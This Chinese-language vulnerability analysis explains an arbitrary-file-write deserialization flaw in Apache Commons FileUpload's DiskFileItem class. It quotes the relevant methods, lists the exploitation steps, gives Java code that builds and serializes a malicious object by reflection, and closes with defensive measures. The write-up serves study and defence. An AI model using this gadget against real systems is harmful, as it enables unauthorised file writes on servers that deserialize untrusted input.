FileUpload1 反序列化漏洞(1)
字数 1322 2025-08-22 12:23:42
Apache Commons FileUpload DiskFileItem 反序列化漏洞分析
漏洞概述
Apache Commons FileUpload 组件中的 DiskFileItem 类存在反序列化漏洞,攻击者可以通过构造恶意的序列化对象,在目标系统上实现任意文件写入。该漏洞源于 DiskFileItem 类的 readObject 方法中存在不安全的反序列化逻辑,结合反射机制可被利用来写入任意文件内容到任意位置。
漏洞原理分析
关键类与方法
漏洞核心位于 org.apache.commons.fileupload.disk.DiskFileItem 类,主要涉及以下关键方法:
- readObject() - 反序列化时的入口方法
- writeObject() - 序列化时的方法
- get() - 获取文件内容的方法
- getOutputStream() - 获取输出流的方法
漏洞触发流程
-
反序列化入口:当反序列化
DiskFileItem对象时,会调用readObject方法:private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); OutputStream output = this.getOutputStream(); if (this.cachedContent != null) { output.write(this.cachedContent); // 关键漏洞点:将cachedContent写入输出流 } else { FileInputStream input = new FileInputStream(this.dfosFile); IOUtils.copy(input, output); this.dfosFile.delete(); this.dfosFile = null; } output.close(); this.cachedContent = null; } -
cachedContent来源:
cachedContent在序列化时通过writeObject方法设置:private void writeObject(ObjectOutputStream out) throws IOException { if (this.dfos.isInMemory()) { this.cachedContent = this.get(); // 关键点:通过get()方法获取内容 } else { this.cachedContent = null; this.dfosFile = this.dfos.getFile(); } out.defaultWriteObject(); } -
get()方法逻辑:
get()方法从dfos中获取数据:public byte[] get() { if (this.isInMemory()) { if (this.cachedContent == null) { this.cachedContent = this.dfos.getData(); // 关键点:从dfos获取数据 } return this.cachedContent; } else { // 从文件读取数据的逻辑 } }
漏洞利用关键点
- 控制dfos字段:通过反射修改
DiskFileItem的dfos字段,可以控制写入的内容 - 控制sizeThreshold:影响数据是存储在内存还是磁盘
- 控制repository:指定临时文件存储目录
漏洞利用分析
利用步骤
- 创建
DeferredFileOutputStream对象并写入恶意内容 - 创建
DiskFileItem对象 - 使用反射将
dfos字段设置为恶意构造的DeferredFileOutputStream - 序列化
DiskFileItem对象 - 目标系统反序列化该对象时触发漏洞
关键利用代码
// 1. 创建DiskFileItem对象
DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",
false,"1111",0,new File("C:\\target\\directory"));
// 2. 通过反射获取并设置dfos字段
Field dfosField = dfi.getClass().getDeclaredField("dfos");
dfosField.setAccessible(true);
// 3. 构造恶意的DeferredFileOutputStream
DeferredFileOutputStream maliciousDfos = new DeferredFileOutputStream(
10000, new File("C:\\target\\directory\\malicious.txt"));
maliciousDfos.write("malicious content".getBytes());
// 4. 设置dfos字段
dfosField.set(dfi, maliciousDfos);
// 5. 序列化对象
ObjectOutputStream oos = new ObjectOutputStream(
Files.newOutputStream(Paths.get("malicious.ser")));
oos.writeObject(dfi);
利用细节说明
-
sizeThreshold控制:
- 设置较大的阈值确保数据存储在内存中,避免提前写入文件
- 在反序列化时,较小的阈值确保数据能写入目标文件
-
文件写入位置:
repository参数指定临时目录DeferredFileOutputStream的构造参数指定最终写入位置
-
避免提前写入:
- 使用足够大的
sizeThreshold防止DeferredFileOutputStream在构造时就写入文件
- 使用足够大的
防御措施
- 升级组件:升级到修复版本
- 输入验证:对反序列化的数据进行严格验证
- 安全配置:
- 限制文件上传目录
- 设置适当的文件权限
- 使用替代方案:考虑使用其他安全的文件上传实现
技术总结
该漏洞的核心在于 DiskFileItem 的反序列化过程中,通过反射可以完全控制文件写入的内容和位置。攻击者通过精心构造的序列化对象,利用反射机制修改关键字段,最终实现在目标系统上任意文件写入的能力。理解这一漏洞需要对Java序列化机制、反射API以及DiskFileItem的内部实现有深入认识。